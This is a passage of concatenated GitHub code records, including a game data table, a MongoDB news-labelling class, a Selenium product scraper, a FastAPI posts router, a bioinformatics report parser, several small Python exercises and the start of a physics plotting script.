{\"motor\": 4, \"interior_plate\": 10, \"computer\": 4, \"display\": 1},\n \"LargeBlockLargeContainer\": {\"small_tube\": 60, \"motor\": 20, \"interior_plate\": 360, \"computer\": 8, \"display\": 1, \"construction_comp\": 80},\n \"SmallBlockLargeContainer\": {\"motor\": 6, \"interior_plate\": 25, \"computer\": 6, \"display\": 1},\n \"LargeBlockRadioAntenna\": {\"steel_plate\": 75, \"small_tube\": 60, \"large_tube\": 40, \"computer\": 8, \"construction_comp\": 30, \"radio_comp\": 40},\n \"SmallBlockRadioAntenna\": {\"small_tube\": 1, \"computer\": 1, \"construction_comp\": 1},\n \"LargeOreDetector\": {\"steel_plate\": 50, \"motor\": 5, \"detector_comp\": 25, \"computer\": 25, \"construction_comp\": 20},\n \"SmallBlockOreDetector\": {\"steel_plate\": 2, \"detector_comp\": 1, \"computer\": 1, \"construction_comp\": 2},\n \"LargeBlockCockpit\": {\"motor\": 2, \"interior_plate\": 20, \"computer\": 100, \"display\": 10, \"construction_comp\": 20}, # Large ship normal cockpit\n \"SmallBlockCockpit\": {\"motor\": 1, \"interior_plate\": 10, \"computer\": 15, \"display\": 5, \"construction_comp\": 10}, # Small ship closed cockpit\n \"LargeBlockCockpitSeat\": {\"motor\": 1, \"interior_plate\": 30, \"computer\": 10, \"display\": 8, \"bulletproof_glass\": 10, \"construction_comp\": 20}, # Large ship closed cockpit\n \"CockpitOpen\": {\"motor\": 2, \"interior_plate\": 20, \"computer\": 100, \"display\": 4, \"construction_comp\": 20}, # Large ship open cockpit\n \"LargeWindowSquare\": {\"small_tube\": 4, \"interior_plate\": 12, \"construction_comp\": 8}, # \"Old\" Windows\n \"LargeWindowEdge\": {\"interior_plate\": 16, \"construction_comp\": 12}, # \"Old\" Windows\n \"LargeCoverWall\": {\"steel_plate\": 4, \"construction_comp\": 10},\n \"LargeCoverWallHalf\": {\"steel_plate\": 2, \"construction_comp\": 6},\n \"VirtualMassLarge\": {},\n \"VirtualMassSmall\": {},\n \"Wheel1x1\": {},\n \"Wheel3x3\": {},\n \"Wheel5x5\": {},\n \"Window1x1Slope\": {\"girder\": 12, \"bulletproof_glass\": 35},\n \"Window1x1Flat\": {\"girder\": 10, \"bulletproof_glass\": 25},\n \"Window1x1FlatInv\": {\"girder\": 10, \"bulletproof_glass\": 25},\n \"Window2x3Flat\": {\"girder\": 25, \"bulletproof_glass\": 140},\n \"Window2x3FlatInv\": {\"girder\": 25, \"bulletproof_glass\": 140},\n \"Window1x2Flat\": {},\n \"Window1x2FlatInv\": {},\n \"Window3x3Flat\": {\"girder\": 40, \"bulletproof_glass\": 200},\n \"Window3x3FlatInv\": {\"girder\": 40, \"bulletproof_glass\": 200},\n \"Window1x2Slope\": {\"girder\": 16, \"bulletproof_glass\": 55},\n \"Window1x1Side\": {},\n \"Window1x2SideLeft\": {\"girder\": 13, \"bulletproof_glass\": 26},\n \"Window1x2SideRight\": {\"girder\": 13, \"bulletproof_glass\": 26},\n \"Window1x1Face\": {\"girder\": 11, \"bulletproof_glass\": 24},\n \"Window1x1Inv\": {\"girder\": 11, \"bulletproof_glass\": 24},\n \"Window1x2Face\": {\"girder\": 15, \"bulletproof_glass\": 40},\n \"Window1x2Inv\": {\"girder\": 15, \"bulletproof_glass\": 40}}\n\noptions = {\"LargeBlockSmallGenerator\": \"Small Generator\",\n \"SmallBlockSmallGenerator\": \"Small Generator\",\n \"LargeBlockLargeGenerator\": \"Large Generator\",\n \"SmallBlockLargeGenerator\": \"Large Generator\",\n \"LargeBlockBeacon\": \"Beacon\",\n \"SmallBlockBeacon\": \"Beacon\",\n \"LargeBlockInteriorWall\": \"Interior Wall\",\n \"LargeRamp\": \"Ramp\",\n \"LargeBlockSmallThrust\": \"Small Thruster\",\n \"SmallBlockSmallThrust\": \"Small Thruster\",\n \"LargeBlockLargeThrust\": \"Large Thruster\",\n \"SmallBlockLargeThrust\": \"Large Thruster\",\n \"LargeBlockGyro\": \"Gyroscope\",\n \"SmallBlockGyro\": \"Gyroscope\",\n \"LargeWindowSquare\": \"Square Window\",\n \"LargeWindowEdge\": \"WindowEdge\",\n \"Window1x1Slope\": \"WindowSlope\",\n \"Window1x1FlatInv\": \"WindowInv\",\n \"LargeSteelCatwalk\": \"Catwalk\",\n \"LargeInteriorPillar\": \"Pillar\",\n \"LargeStairs\": \"Stairs\",\n \"SmallLight\": \"Interior Light\"}","repo_name":"dequbed/SpaceEdit","sub_path":"src/SpaceEngineerData.py","file_name":"SpaceEngineerData.py","file_ext":"py","file_size_in_byte":11773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32488637224","text":"from pymongo import MongoClient\r\nfrom bson import json_util\r\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\r\nsid_obj = SentimentIntensityAnalyzer()\r\nimport pandas as pd\r\n#sentiment_dict = sid_obj.polarity_scores(sentence)\r\n\r\n\r\n\r\nclass Query:\r\n def __init__(self):\r\n self.client = MongoClient('localhost', 27017)\r\n self.db = self.client.latest_news\r\n self.collection = self.db.user_send\r\n\r\n def insert_query(self, content):\r\n in_database = self.collection.count_documents(content)\r\n #content=json_util.loads(content)\r\n print(content)\r\n\r\n result = -1\r\n print(content)\r\n #ontent=json_util.dumps(content)\r\n if in_database == 0:\r\n content['label'] = 0\r\n sentiment_dict = sid_obj.polarity_scores(content['message'])\r\n content['positive'] = sentiment_dict['pos']\r\n content['neutral'] = sentiment_dict['neu']\r\n content['negative'] = sentiment_dict['neg']\r\n\r\n result1 = self.collection.insert(content)\r\n else:\r\n for post in self.collection.find(content):\r\n result = (post['label'])\r\n return result\r\n\r\n def update_query(self, content):\r\n #print(str(content))\r\n\r\n in_database = self.collection.count_documents(\r\n {'message': content['message']})\r\n if in_database == 1:\r\n myquery = {'message': content['message']}\r\n newvalues = {\"$set\": {\"label\": content['label']}}\r\n a = self.collection.update_one(myquery, newvalues)\r\n return \"Updated\"\r\n else:\r\n return \"Not Updated\"\r\n\r\n def check_query(self, label):\r\n query = {\"label\": label}\r\n json = self.collection.find(query)\r\n # lst=[]\r\n # for i in json:\r\n\r\n # sentence=i['message'].split()\r\n # #print(sentence)\r\n # s=\"\"\r\n # for j in sentence:\r\n # j=j.lower()\r\n\r\n # if j in badwords:\r\n # s+=\" \"\r\n # s+=j\r\n # s+=\" \"\r\n # else:\r\n # s+=j+\" \"\r\n # # print(s)\r\n # i['message']=s\r\n # lst.append(i)\r\n return json\r\n\r\n def sort(self, label):\r\n query = {\"label\": label}\r\n json = self.collection.find(query)\r\n lst = []\r\n for i in json:\r\n\r\n sentence = i['message'].split()\r\n #print(sentence)\r\n s = \"\"\r\n for j in sentence:\r\n j = j.lower()\r\n\r\n if j in badwords:\r\n s += \" \"\r\n s += j\r\n s += \" \"\r\n else:\r\n s += j + \" \"\r\n # print(s)\r\n i['message'] = s\r\n lst.append(i)\r\n return lst\r\n\r\n def relevant_query(self, message, label):\r\n if message == \"\":\r\n query = {\"label\": label}\r\n a = self.collection.find(query)\r\n else:\r\n a = self.collection.find(\r\n {\r\n \"label\": label,\r\n \"$text\": {\r\n \"$search\": message,\r\n \"$caseSensitive\": False,\r\n \"$diacriticSensitive\": True\r\n }\r\n }, {\r\n \"score\": {\r\n \"$meta\": \"textScore\"\r\n }\r\n }).sort([(\"score\", {\r\n \"$meta\": \"textScore\"\r\n })]).limit(5)\r\n\r\n return a\r\n","repo_name":"s-dharmam/fake_news_verification","sub_path":"query_function.py","file_name":"query_function.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7886515993","text":"from lib2to3.pgen2 import driver\nfrom urllib import response\nimport pandas as pd\nimport requests\nimport json\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.common.by import By\n\ndriver = webdriver.Chrome(executable_path='./chromedriver.exe')\n\nindica_url=\"https://www.leafly.com/products/collections/indica?page={}\"\nsativa_url=\"https://www.leafly.com/products/collections/sativa?page={}\"\n\nindica_page_num=534 #534\nindica_page_per_take=18 #18\n\nsativa_page_num=411 #411\nsativa_page_per_take=18\n\nproductList_slug=[]\n\n# get product list slug\nfor x in range(indica_page_num):\n url=indica_url.format(x+1)\n driver.get(url)\n for y in range(indica_page_per_take):\n # print(y)\n try:\n if(y<8): \n productList_slug.append(driver.find_element(By.XPATH, \"/html/body/main/div[2]/div[2]/div[2]/div[2]/div[3]/section[1]/div[{}]/article/a\".format(y+1)).get_attribute(\"href\"))\n elif(y>=8 and y<12): \n productList_slug.append(driver.find_element(By.XPATH, \"/html/body/main/div[2]/div[2]/div[2]/div[2]/div[3]/section[1]/div[{}]/article/a\".format(y+2)).get_attribute(\"href\"))\n elif(y>=12): \n productList_slug.append(driver.find_element(By.XPATH, \"/html/body/main/div[2]/div[2]/div[2]/div[2]/div[3]/section[1]/div[{}]/article/a\".format(y+3)).get_attribute(\"href\"))\n except:\n continue\nfor x in range(sativa_page_num):\n url=sativa_url.format(x+1)\n driver.get(url)\n for y in range(sativa_page_per_take):\n # print(y)\n try:\n if(y<8): \n productList_slug.append(driver.find_element(By.XPATH, \"/html/body/main/div[2]/div[2]/div[2]/div[2]/div[3]/section[1]/div[{}]/article/a\".format(y+1)).get_attribute(\"href\"))\n elif(y>=8 and y<12): \n productList_slug.append(driver.find_element(By.XPATH, \"/html/body/main/div[2]/div[2]/div[2]/div[2]/div[3]/section[1]/div[{}]/article/a\".format(y+2)).get_attribute(\"href\"))\n elif(y>=12): \n productList_slug.append(driver.find_element(By.XPATH, \"/html/body/main/div[2]/div[2]/div[2]/div[2]/div[3]/section[1]/div[{}]/article/a\".format(y+3)).get_attribute(\"href\"))\n except:\n continue\n# print(productList_slug)\nproductList_name=[]\nproductList_url=[]\nproductList_strain_name=[]\nproductList_kind=[]\nproductList_thc=[]\nproductList_cbd=[]\nproductList_rating=[]\nproductList_strain_rating=[]\nproductList_desc=[]\nproductList_strain_desc=[]\nproductList_feelings=[]\nproductList_negatives=[]\nproductList_helpwith=[]\nproductList_brand_name=[]\nproductList_brand_url=[]\nproductList_brand_desc=[]\n\nfor pi in productList_slug:\n driver.get(pi)\n try:\n productList_name.append(driver.find_element(By.XPATH, \"/html/body/div/div[15]/main/div[1]/div[2]/div[2]/div/div[1]/h1\").text)\n except:\n productList_name.append('')\n try:\n productList_url.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[2]/div/div[2]/div/div/div[1]/div/div/ul/li[1]/div/div/picture/source[1]').get_attribute('srcset'))\n except:\n productList_url.append('')\n try:\n productList_strain_name.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[4]/div/div[1]/div[1]/div/div[2]/a').text)\n except:\n productList_strain_name.append('') \n try:\n productList_kind.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[2]/div/div[1]/div[2]/div[1]/span[1]').text)\n except:\n productList_kind.append('')\n try:\n productList_thc.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[2]/div/div[1]/div[2]/div[1]/span[2]').text)\n except:\n productList_thc.append('')\n try:\n productList_cbd.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[2]/div/div[1]/div[2]/div[1]/span[3]').text)\n except:\n productList_cbd.append('')\n try:\n productList_rating.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[2]/div/div[1]/div[3]/div/span/span/span[1]').text)\n except:\n productList_rating.append('')\n try:\n productList_strain_rating.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[2]/div/div[1]/div[4]/a/span/span/span[1]').text)\n except:\n productList_strain_rating.append('')\n try:\n productList_desc.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[3]/div/div/div/div/div/div').text)\n except:\n productList_desc.append('')\n try:\n productList_strain_desc.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[4]/div/div[1]/div[2]/div/div/div/div/p').text)\n except:\n productList_strain_desc.append('')\n try: \n productList_feelings.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[4]/div/section/div[3]/div/div/div[1]').text)\n except:\n productList_feelings.append('')\n try: \n productList_negatives.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[4]/div/section/div[3]/div/div/div[2]').text)\n except:\n productList_negatives.append('')\n try: \n productList_helpwith.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[4]/div/section/div[3]/div/div/div[3]').text)\n except:\n productList_helpwith.append('')\n try: \n productList_brand_desc.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[6]/div/div/div/div[2]/div').text)\n except:\n productList_brand_desc.append('')\n try:\n productList_brand_name.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[6]/div/div/div/div[1]/div[2]/div[1]').text)\n except:\n productList_brand_name.append('')\n try: \n productList_brand_url.append(driver.find_element(By.XPATH, '/html/body/div/div[15]/main/div[1]/div[2]/div[6]/div/div/div/div[1]/div[1]/div/img').get_attribute('data-srcset'))\n except:\n productList_brand_url.append('')\n # finally:\n # continue\n# print(productList_brand_url)\ndf = pd.DataFrame({\n 'name':productList_name,\n 'url':productList_url,\n 'strain name':productList_strain_name,\n 'kind':productList_kind,\n 'thc':productList_thc,\n 'cbd':productList_cbd,\n 'rating':productList_rating,\n 'strain rating':productList_strain_rating,\n 'description':productList_desc,\n 'strain description':productList_strain_desc,\n 'feelings':productList_feelings,\n 'negatives':productList_negatives,\n 'help with':productList_helpwith,\n 'brand name':productList_brand_name,\n 'brand url':productList_brand_url,\n 'brand description':productList_brand_desc\n })\ndf.to_excel('products.xlsx', index=False, encoding='utf-8')","repo_name":"topmaster29/scraping-python","sub_path":"products.py","file_name":"products.py","file_ext":"py","file_size_in_byte":7102,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"70474528751","text":"from fastapi import FastAPI, Response, status, HTTPException, Depends, APIRouter\nfrom sqlalchemy import func\nfrom sqlalchemy.orm import Session\nfrom .. import models, schemas, oauth2\nfrom typing import List, Optional\nfrom ..database import get_db\n\n \nrouter = APIRouter(prefix='/posts', tags=['Posts'])\n\n@router.get(\"/\", response_model=List[schemas.PostOut])\ndef get_posts(db: Session = Depends(get_db), current_user: int = Depends(oauth2.get_current_user),\n limit: int = 10, skip: int = 0, search: Optional[str] = \"\"):\n \n posts = db.query(models.Post, func.count(models.Vote.post_id).label('votes')).join(models.Vote, models.Vote.post_id == models.Post.id, isouter=True).group_by(models.Post.id).filter(models.Post.title.contains(search)).limit(limit).offset(skip).all()\n\n return posts\n\n\n@router.post(\"/\", status_code=status.HTTP_201_CREATED, response_model=schemas.Post)\ndef create_post(post: schemas.PostCreate, db: Session = Depends(get_db), \n current_user: int = Depends(oauth2.get_current_user)):\n # create post\n # new_post = models.Post(title=post.title, content=post.content, published=post.published)\n new_post = models.Post(user_id=current_user.id, **post.dict())\n # add to database\n db.add(new_post)\n # commit the change\n db.commit()\n # retrieve the newly created post to return\n db.refresh(new_post)\n \n return new_post\n\n\n@router.get(\"/{id}\", response_model=schemas.PostOut)\ndef get_post(id: int, response: Response, db: Session = Depends(get_db), \n current_user: int = Depends(oauth2.get_current_user)):\n # get the post with matching id and return the first item\n # post = db.query(models.Post).filter(models.Post.id == id).first()\n \n post = db.query(models.Post, func.count(models.Vote.post_id).label('votes')).join(models.Vote, models.Vote.post_id == models.Post.id, isouter=True).group_by(models.Post.id).filter(models.Post.id == id).first()\n \n \n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=f'post with id: {id} was not found')\n\n return post\n\n\n@router.delete('/{id}', status_code=status.HTTP_204_NO_CONTENT)\ndef delete_post(id: int, db: Session = Depends(get_db), current_user: int = Depends(oauth2.get_current_user)):\n # run sql query to find the post with matching id\n post_query = db.query(models.Post).filter(models.Post.id == id)\n post = post_query.first()\n \n # see if it exist\n if post == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=f'post with id: {id} does not exist')\n # check if logged in user is trying to delete\n if post.user_id != current_user.id:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, \n detail='Not authorized to perform requested action')\n # delete the post\n post_query.delete(synchronize_session=False)\n # commit the change\n db.commit()\n \n return Response(status_code=status.HTTP_204_NO_CONTENT)\n\n\n@router.put('/{id}', response_model=schemas.Post)\ndef update_post(id: int, updated_post: schemas.PostCreate, db: Session = Depends(get_db),\n current_user: int = Depends(oauth2.get_current_user)):\n # get sql query\n post_query = db.query(models.Post).filter(models.Post.id == id)\n # get the first post that matches the id\n post = post_query.first()\n \n # check if the post with the id exist\n if post == None:\n # if doesn't exist, 404\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=f'post with id: {id} does not exist')\n \n if post.user_id != current_user.id:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, \n detail='Not authorized to perform requested action')\n \n # update using the user input (updated_post.dict())\n post_query.update(updated_post.dict(), synchronize_session=False)\n # commit the change to the database\n db.commit()\n \n return post_query.first()","repo_name":"justinlim628/fastapi-tutorial","sub_path":"app/routers/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":4012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"10181290364","text":"import config\nimport json\n\nlang_data = {}\nterms_data = {}\n\nwith open(\"src/json/lang.json\", \"r\") as read_file:\n lang_data = json.load(read_file)\n\nwith open(\"src/json/terms.json\", \"r\") as read_file:\n terms_data = json.load(read_file)\n\n\ndef parse_lang():\n for lang in lang_data:\n for pronunciation in lang_data[lang]:\n if pronunciation in config.current_line:\n config.current_lang = lang\n break\n\n\ndef parse_objective():\n for term in terms_data:\n for pronunciation in terms_data[term]:\n if pronunciation in config.current_line:\n config.current_objective = term\n break\n\n\ndef parse():\n parse_lang()\n parse_objective()\n print(\n f\"Looking up {config.current_objective} in the {config.current_lang} documentation\"\n )\n","repo_name":"MintStudios/DocAI","sub_path":"src/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"19008423147","text":"import os\n\n''' because I'm unsure about the ARIBA outputs, I will go over all the report files to \n1. split them into the different databases\n2. Make sure the length coverage is correct and see when a gene is truncated\n3. Look how many reads there are - maybe it will indicate copies?\n'''\nclass Report:\n\n\tdef __init__(self, name):\n\t\tself.name = name\n\t\tself.dbs = {\n\t\t\"ARGannot\" : set(),\n\t\t\"card\" : set(),\n\t\t\"resfinder\" : set(),\n\t\t\"stx\" : set(),\n\t\t\"VFDB\" : set(),\n\t\t\"virulence\" : set(),\n\t\t\"plasmid\" : set()\n\t\t}\n\t\treturn\n\n\n\tdef print_database(self, database_name, order):\n\t\t''' print a vector of 0 and 1 in the order the the required db'''\n\t\tout = self.name\n\t\tfor item in order:\n\t\t\tif item in self.dbs[database_name]:\n\t\t\t\tout += \",1\"\n\t\t\telif item + \"*\" in self.dbs[database_name]:\n\t\t\t\tout += \",1*\"\n\t\t\telse:\n\t\t\t\tout += \",0\"\n\t\treturn out\n\nordered_outputs = {\"ARGannot\" : set(),\n\t\t\"card\" : set(),\n\t\t\"resfinder\" : set(),\n\t\t\"stx\" : set(),\n\t\t\"VFDB\" : set(),\n\t\t\"virulence\" : set(),\n\t\t\"plasmid\" : set()}\n\ndirectories = os.listdir(\".\")\ncnt = 0\nall_reports = []\nfor d in directories:\n\tif not os.path.isfile(os.path.join(d, \"report.tsv\")):\n\t\tcontinue\n\tcnt += 1\n\tprint(\"Parsing file: %d...\" %cnt)\n\tcurr = Report(d)\n\tall_reports.append(curr)\n\twith open(os.path.join(d, \"report.tsv\")) as f:\n\t\tfor line in f:\n\t\t\ttoks = line.strip().split(\"\\t\")\n\t\t\tif line.startswith(\"#\"):\n\t\t\t\tread_index = toks.index(\"reads\")\n\t\t\t\tref_len = toks.index(\"ref_len\")\n\t\t\t\taligned_len = toks.index(\"ref_base_assembled\")\n\t\t\t\tcontinue\n\t\t\tdb = toks[0].split(\"_\")[0]\n\t\t\thit = \"_\".join(toks[0].split(\"_\")[1:])\n\t\t\talignment_length = float(toks[aligned_len])\n\t\t\treference_length = float(toks[ref_len])\n\n\t\t\tif alignment_length/reference_length < 0.8:\n\t\t\t\tcurr.dbs[db].add(hit + \"*\") ## mark as a truncated version\n\t\t\telse:\n\t\t\t\tcurr.dbs[db].add(hit)\n\t\t\t\tordered_outputs[db].add(hit)\n\nfor key in ordered_outputs:\n\tout = open(key + \".csv\", \"w\")\n\torder = list(ordered_outputs[key])\n\tout.write(\"Genome,\" + \",\".join(order) + \"\\n\")\n\tfor r in all_reports:\n\t\tout.write(r.print_database(key, order) + \"\\n\")\n\tout.close()\n\n\t\t\t\t\n","repo_name":"ghoresh11/ecoli_genome_collection","sub_path":"13_AMR_vir/2_parse_ariba_outputs.py","file_name":"2_parse_ariba_outputs.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"40413762055","text":"import sys\n\ndef text_analizer(s = None):\n '''This function counts the number of upper characters, lower characters,\npunctuation and spaces in a given text'''\n punctuations = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~'''\n if s == None:\n print('What is the text to analyze?')\n s = input()\n \n assert type(s) == type(''), \"argument is not a string\"\n\n d = {\"U\":0, \"L\":0, \"P\":0, \"S\":0}\n for c in s:\n if c.isupper():\n d[\"U\"] += 1\n elif c.islower():\n d[\"L\"] += 1\n elif c.isspace():\n d[\"S\"] += 1\n elif c in punctuations:\n d[\"P\"] += 1\n print('The text contains', len(s), 'character(s):')\n print('-', d['U'], 'upper letter(s)')\n print('-', d['L'], 'lower letter(s)')\n print('-', d['P'], 'punctuation mark(s)')\n print('-', d['S'], 'space(s)')\n\ndef main():\n assert len(sys.argv) == 2, \"wrong arguments\"\n text_analizer(sys.argv[1])\n\nif __name__ == \"__main__\":\n main()","repo_name":"mnathali/python","sub_path":"M00/ex03/count.py","file_name":"count.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4948578694","text":"# 6-4. Glossary 2\r\nlanguages = {\r\n 'python': 'what I am learning now',\r\n 'ruby': 'I think it\\'s for back end programming',\r\n 'c++': 'I hated this class in college',\r\n 'java': 'I studied it shortly in the past',\r\n 'c': 'I have no clue, I guess it\\'s similar to c++?',\r\n 'python_': 'i will become a python programmer!',\r\n}\r\n\r\nfor language, sentence in languages.items():\r\n print(f\"{language.title()}: {sentence.title()}.\")\r\n\r\n\r\n# 6-5. Rivers\r\nrivers = {\r\n 'nile': 'egypt',\r\n 'amazon': 'brasil',\r\n 'yangtze': 'china',\r\n 'missouri': 'USA',\r\n 'han': 'korea', \r\n}\r\n\r\nprint('\\n')\r\nfor river, country in rivers.items():\r\n print(f\"{river.title()} runs through {country.title()}.\")\r\n\r\nfor river in rivers.keys():\r\n print(f\"{river.title()}\")\r\nfor country in rivers.values():\r\n print(f\"{country.title()}\")\r\n\r\n\r\n# 6-6. Polling\r\nfavorite_languages = {\r\n 'jen': 'python',\r\n 'sarah': 'c',\r\n 'edward': 'ruby',\r\n 'phil': 'python',\r\n}\r\n\r\nnames = ['sarah', 'john', 'nick', 'pablo', 'phil']\r\nprint('\\n')\r\nfor name in names:\r\n if name in favorite_languages.keys():\r\n print(f\"{name.title()}, thank you for taking the poll!\")\r\n \r\n else:\r\n print(f\"{name.title()}, please take our poll!\")\r\n","repo_name":"json-0201/Python_Crash_Course_notes","sub_path":"pg105.py","file_name":"pg105.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9748749198","text":"from typing import List\n\n\nclass Solution:\n def isRectangleOverlap(self, rec1: List[int], rec2: List[int]) -> bool:\n length = min(rec1[2], rec2[2]) - max(rec1[0], rec2[0])\n width = min(rec1[3], rec2[3]) - max(rec1[1], rec2[1])\n\n print(length, width)\n\n if length > 0 and width > 0:\n return True\n\n return False\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n\n test_rec1 = [1, -4, 4, -1]\n test_rec2 = [2, -3, 3, -2]\n\n print(sol.isRectangleOverlap(test_rec1, test_rec2))","repo_name":"karthikpalavalli/Puzzles","sub_path":"leetcode/rectangle_overlap.py","file_name":"rectangle_overlap.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21764911943","text":"num = int(input(\"Enter any number : \"))\r\ncount = 0\r\nwhile num > 0:\r\n flag = 0\r\n rem = int(num % 10)\r\n num = num // 10\r\n for i in range(2,rem):\r\n if (rem % i) == 0:\r\n flag = 1\r\n break\r\n if flag == 0:\r\n count += 1\r\nprint(\"Total Prime numbers : \",count)","repo_name":"shreesha-bhat/Python","sub_path":"Primedigitscount.py","file_name":"Primedigitscount.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36805557360","text":"# Exercise 4: Change the urllinks.py program to extract and count paragraph (p) tags from the retrieved HTML document and display the count of the paragraphs as the output of your program. Do not display the paragraph text, only count them. Test your program on several small web pages as well as some larger web pages.\nimport urllib.request\nfrom bs4 import BeautifulSoup\n\n# url = 'http://www.dr-chuck.com/page1.htm'\n# url = 'http://www.dr-chuck.com/'\nurl = 'https://books.trinket.io/pfe/12-network.html'\n\nhtml = urllib.request.urlopen(url).read()\nsoup = BeautifulSoup(html, 'html.parser')\nsize = 0\ntags = soup('p')\nfor tag in tags:\n size = size + len(tag)\n # print(tag)\nprint('The total

    tag length is: ', size)\n","repo_name":"hudir/freeCodeCamp","sub_path":"scientificComputingWithPython/exercise/ex12/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"15740315253","text":"#!/usr/bin/env python\n\nimport ROOT\n\nfrom TauAnalysis.TauIdEfficiency.ntauples.PlotManager import PlotManager\nimport TauAnalysis.TauIdEfficiency.ntauples.styles as style\n\n# Defintion of input files.\nimport samples_cache as samples\nimport os\nimport sys\n\n# Define sample names\nsample_qcddijet_data = samples.data_dijet_wPU\nsample_qcddijet_mc = samples.qcddijetPU156bx_mc\n\n# style Definitions\njets_CMS_PRELIMINARY_UPPER_LEFT = style.CMS_PRELIMINARY_UPPER_LEFT.Clone()\njets_CMS_PRELIMINARY_UPPER_LEFT.SetX2(0.60)\njets_CMS_PRELIMINARY_UPPER_LEFT.SetY1(0.850)\njets_CMS_PRELIMINARY_UPPER_LEFT.SetTextSize(0.055)\n\njets_LUMI_LABEL_UPPER_LEFT = style.LUMI_LABEL_UPPER_LEFT.Clone()\njets_LUMI_LABEL_UPPER_LEFT.SetX2(0.60)\njets_LUMI_LABEL_UPPER_LEFT.SetY2(0.840)\njets_LUMI_LABEL_UPPER_LEFT.SetY1(0.790)\njets_LUMI_LABEL_UPPER_LEFT.SetTextSize(0.045)\n\njets_SQRTS_LABEL_UPPER_LEFT = style.SQRTS_LABEL_UPPER_LEFT.Clone()\njets_SQRTS_LABEL_UPPER_LEFT.SetX2(0.60)\njets_SQRTS_LABEL_UPPER_LEFT.SetY2(0.785)\njets_SQRTS_LABEL_UPPER_LEFT.SetY1(0.735)\njets_SQRTS_LABEL_UPPER_LEFT.SetTextSize(0.045)\n\njets_PT_CUT_LABEL_UPPER_LEFT = style.PT_CUT_LABEL_UPPER_LEFT.Clone()\njets_PT_CUT_LABEL_UPPER_LEFT.SetX2(0.60)\njets_PT_CUT_LABEL_UPPER_LEFT.SetY2(0.740)\njets_PT_CUT_LABEL_UPPER_LEFT.SetY1(0.690)\njets_PT_CUT_LABEL_UPPER_LEFT.SetTextSize(0.045)\n\njets_ETA_CUT_LABEL_UPPER_LEFT = style.ETA_CUT_LABEL_UPPER_LEFT.Clone()\njets_ETA_CUT_LABEL_UPPER_LEFT.SetX2(0.60)\njets_ETA_CUT_LABEL_UPPER_LEFT.SetY2(0.740)\njets_ETA_CUT_LABEL_UPPER_LEFT.SetY1(0.690)\njets_ETA_CUT_LABEL_UPPER_LEFT.SetTextSize(0.045)\n\njets_PT_ETA_CUT_TWO_LINE_LABEL_UPPER_LEFT = style.PT_ETA_CUT_TWO_LINE_LABEL_UPPER_LEFT.Clone()\njets_PT_ETA_CUT_TWO_LINE_LABEL_UPPER_LEFT.SetX2(0.60)\njets_PT_ETA_CUT_TWO_LINE_LABEL_UPPER_LEFT.SetY2(0.740)\njets_PT_ETA_CUT_TWO_LINE_LABEL_UPPER_LEFT.SetY1(0.640)\njets_PT_ETA_CUT_TWO_LINE_LABEL_UPPER_LEFT.SetTextSize(0.045)\n\njets_DEFAULT_LABELS = [\n jets_CMS_PRELIMINARY_UPPER_LEFT,\n jets_LUMI_LABEL_UPPER_LEFT,\n jets_SQRTS_LABEL_UPPER_LEFT\n]\n\ndef makeJetPlot(expression, selection, extra_labels,\n binning, x_axis_title, y_min, y_max, logy,\n filename):\n\n #----------------------------------------------------------------------------\n # Plot distribution of Data vs. Monte Carlo predictions\n 